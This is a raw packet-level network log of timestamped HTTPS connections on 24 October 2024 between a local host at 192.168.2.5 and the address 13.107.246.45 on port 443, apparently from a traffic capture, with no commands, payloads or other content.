Oct 24, 2024 22:09:45.925599098 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.925923109 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.925935030 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.927103043 CEST	49826	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.927139997 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.927212954 CEST	49826	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.927339077 CEST	49826	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.927359104 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.959470987 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.960046053 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.960072994 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:45.960478067 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:45.960484982 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.089504004 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.089878082 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.089946032 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.090240002 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.090269089 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.090291023 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.090300083 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.095419884 CEST	49827	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.095451117 CEST	443	49827	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.095731974 CEST	49827	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.095963001 CEST	49827	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.095977068 CEST	443	49827	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.288050890 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.288156033 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.288270950 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.288657904 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.288686991 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.288702011 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.288710117 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.292511940 CEST	49828	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.292541027 CEST	443	49828	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.292711973 CEST	49828	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.292999029 CEST	49828	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.293016911 CEST	443	49828	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.655215979 CEST	443	49824	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.655968904 CEST	49824	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.656021118 CEST	443	49824	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.656727076 CEST	49824	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.656738997 CEST	443	49824	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.662369013 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.663291931 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.664715052 CEST	49826	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.664731026 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.665364981 CEST	49826	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.665374994 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.665796995 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.665803909 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.666383982 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.666388988 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.787463903 CEST	443	49824	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.787533045 CEST	443	49824	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.787671089 CEST	443	49824	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.787720919 CEST	49824	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.787796974 CEST	49824	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.795332909 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.795356989 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.795413017 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.795437098 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.795452118 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.795478106 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.795505047 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.799868107 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.799928904 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.800092936 CEST	49826	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.800127983 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.800299883 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.800584078 CEST	49826	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.822412968 CEST	49824	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.822462082 CEST	443	49824	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.822489023 CEST	49824	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.822504997 CEST	443	49824	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.824894905 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.824912071 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.824920893 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.824925900 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.826235056 CEST	49826	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.826250076 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.826277971 CEST	49826	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.826288939 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.838543892 CEST	443	49827	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.842909098 CEST	49827	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.842927933 CEST	443	49827	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.843930960 CEST	49827	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.843935013 CEST	443	49827	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.874533892 CEST	49829	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.874564886 CEST	443	49829	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.874622107 CEST	49829	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.876647949 CEST	49830	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.876703024 CEST	443	49830	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.876849890 CEST	49830	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.883142948 CEST	49829	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.883152008 CEST	443	49829	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.884232998 CEST	49830	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.884252071 CEST	443	49830	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.908011913 CEST	49831	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.908024073 CEST	443	49831	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.908176899 CEST	49831	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.908330917 CEST	49831	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.908339977 CEST	443	49831	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.978779078 CEST	443	49827	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.978880882 CEST	443	49827	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.978941917 CEST	49827	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.979157925 CEST	49827	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.979166031 CEST	443	49827	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.979212046 CEST	49827	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.979216099 CEST	443	49827	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.981873989 CEST	49832	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.981966972 CEST	443	49832	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:46.982090950 CEST	49832	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.982238054 CEST	49832	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:46.982266903 CEST	443	49832	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.017054081 CEST	443	49828	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.017630100 CEST	49828	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:47.017658949 CEST	443	49828	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.018099070 CEST	49828	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:47.018105984 CEST	443	49828	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.147504091 CEST	443	49828	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.147584915 CEST	443	49828	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.147737026 CEST	49828	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:47.147855043 CEST	49828	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:47.147875071 CEST	443	49828	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.147886038 CEST	49828	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:47.147892952 CEST	443	49828	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.150940895 CEST	49833	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:47.150986910 CEST	443	49833	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.151248932 CEST	49833	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:47.151451111 CEST	49833	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:47.151467085 CEST	443	49833	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.608414888 CEST	443	49829	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.609148979 CEST	49829	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:47.609159946 CEST	443	49829	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.610590935 CEST	49829	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:47.610594988 CEST	443	49829	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.638266087 CEST	443	49830	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.639530897 CEST	49830	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:47.639568090 CEST	443	49830	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.640537977 CEST	49830	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:47.640543938 CEST	443	49830	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.667063951 CEST	443	49831	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.667964935 CEST	49831	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:47.667984962 CEST	443	49831	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.668946028 CEST	49831	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:47.668957949 CEST	443	49831	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.715531111 CEST	443	49832	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.716260910 CEST	49832	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:47.716320992 CEST	443	49832	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.716892958 CEST	49832	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:47.716907978 CEST	443	49832	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.745286942 CEST	443	49829	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.745362997 CEST	443	49829	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.745457888 CEST	49829	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:47.770850897 CEST	49829	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:47.770862103 CEST	443	49829	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.780966997 CEST	443	49830	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.781132936 CEST	443	49830	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.781229019 CEST	49830	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:47.799138069 CEST	443	49831	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.799290895 CEST	443	49831	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.799465895 CEST	49831	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:47.850109100 CEST	443	49832	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.850279093 CEST	443	49832	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.850583076 CEST	49832	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:47.907613993 CEST	443	49833	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:47.954900026 CEST	49833	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:48.104655981 CEST	49833	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:48.104720116 CEST	443	49833	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:48.111538887 CEST	49833	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:48.111588001 CEST	443	49833	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:48.114882946 CEST	49831	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:48.114882946 CEST	49831	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:48.114909887 CEST	443	49831	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:48.114921093 CEST	443	49831	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:48.114954948 CEST	49832	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:48.114955902 CEST	49832	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:48.115036011 CEST	443	49832	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:48.115067005 CEST	443	49832	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:48.209429979 CEST	49830	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:48.209429979 CEST	49830	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:48.209513903 CEST	443	49830	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:48.209523916 CEST	443	49830	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:48.241837978 CEST	443	49833	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:48.242398024 CEST	443	49833	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:48.242466927 CEST	49833	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:48.271370888 CEST	49833	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:48.271403074 CEST	443	49833	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:48.271419048 CEST	49833	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:48.271425009 CEST	443	49833	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:48.277117014 CEST	49834	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:48.277193069 CEST	443	49834	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:48.277395010 CEST	49834	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:48.281409979 CEST	49834	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:48.281445026 CEST	443	49834	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:48.285981894 CEST	49835	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:48.286029100 CEST	443	49835	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:48.286089897 CEST	49835	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:48.286416054 CEST	49835	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:48.286427975 CEST	443	49835	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:48.287837029 CEST	49836	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:48.287877083 CEST	443	49836	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:48.287959099 CEST	49836	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:48.288184881 CEST	49836	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:48.288204908 CEST	443	49836	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:48.288597107 CEST	49837	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:48.288642883 CEST	443	49837	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:48.288808107 CEST	49837	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:48.290838957 CEST	49837	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:48.290858030 CEST	443	49837	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:48.292828083 CEST	49838	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:48.292839050 CEST	443	49838	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:48.293091059 CEST	49838	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:48.293606043 CEST	49838	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:48.293618917 CEST	443	49838	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.000224113 CEST	443	49834	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.000783920 CEST	49834	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.000823021 CEST	443	49834	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.001112938 CEST	49834	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.001121044 CEST	443	49834	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.014323950 CEST	443	49838	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.014765978 CEST	49838	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.014812946 CEST	443	49838	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.015125990 CEST	443	49837	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.015320063 CEST	49838	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.015326023 CEST	443	49838	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.015515089 CEST	49837	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.015554905 CEST	443	49837	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.015899897 CEST	49837	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.015909910 CEST	443	49837	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.032742023 CEST	443	49836	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.033246040 CEST	49836	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.033291101 CEST	443	49836	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.033534050 CEST	49836	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.033540964 CEST	443	49836	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.035501957 CEST	443	49835	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.035855055 CEST	49835	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.035929918 CEST	443	49835	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.036272049 CEST	49835	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.036288023 CEST	443	49835	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.129072905 CEST	443	49834	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.129141092 CEST	443	49834	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.129316092 CEST	49834	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.129724026 CEST	49834	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.129724026 CEST	49834	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.129771948 CEST	443	49834	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.129800081 CEST	443	49834	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.137917995 CEST	49839	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.137970924 CEST	443	49839	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.138453007 CEST	49839	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.138776064 CEST	49839	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.138792038 CEST	443	49839	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.143743992 CEST	443	49838	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.143901110 CEST	443	49838	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.143958092 CEST	49838	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.144243956 CEST	49838	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.144265890 CEST	443	49838	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.144282103 CEST	49838	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.144289017 CEST	443	49838	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.144943953 CEST	443	49837	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.145138025 CEST	443	49837	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.145190954 CEST	49837	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.145235062 CEST	49837	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.145248890 CEST	443	49837	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.145262957 CEST	49837	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.145270109 CEST	443	49837	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.148324013 CEST	49840	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.148413897 CEST	443	49840	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.148489952 CEST	49840	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.148611069 CEST	49840	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.148643970 CEST	443	49840	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.150768995 CEST	49841	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.150855064 CEST	443	49841	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.150926113 CEST	49841	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.151024103 CEST	49841	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.151047945 CEST	443	49841	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.172190905 CEST	443	49836	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.172383070 CEST	443	49836	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.172553062 CEST	49836	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.172553062 CEST	49836	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.172553062 CEST	49836	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.175601959 CEST	443	49835	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.176898003 CEST	49842	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.176981926 CEST	443	49842	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.177047968 CEST	49842	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.177588940 CEST	49842	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.177623987 CEST	443	49842	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.181631088 CEST	443	49835	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.181685925 CEST	443	49835	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.181687117 CEST	49835	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.181746006 CEST	49835	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.181816101 CEST	49835	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.181858063 CEST	443	49835	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.181891918 CEST	49835	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.181905031 CEST	443	49835	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.185642004 CEST	49843	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.185730934 CEST	443	49843	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.185806036 CEST	49843	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.186582088 CEST	49843	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.186618090 CEST	443	49843	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.473598003 CEST	49836	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.473644018 CEST	443	49836	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.883781910 CEST	443	49841	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.884814978 CEST	49841	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.884903908 CEST	443	49841	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.886043072 CEST	49841	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.886058092 CEST	443	49841	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.888658047 CEST	443	49839	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.889159918 CEST	49839	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.889182091 CEST	443	49839	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.889868975 CEST	443	49840	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.890191078 CEST	49839	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.890197039 CEST	443	49839	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.890527010 CEST	49840	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.890588045 CEST	443	49840	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.891083956 CEST	49840	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.891098022 CEST	443	49840	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.907977104 CEST	443	49842	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.908582926 CEST	49842	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.908620119 CEST	443	49842	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.909037113 CEST	49842	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.909049034 CEST	443	49842	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.931410074 CEST	443	49843	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.932226896 CEST	49843	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.932281971 CEST	443	49843	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:49.932876110 CEST	49843	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:49.932892084 CEST	443	49843	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.012964010 CEST	443	49841	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.013123989 CEST	443	49841	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.013458014 CEST	49841	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.013603926 CEST	49841	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.013603926 CEST	49841	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.013648987 CEST	443	49841	13.107.246.45	192.168.2.5
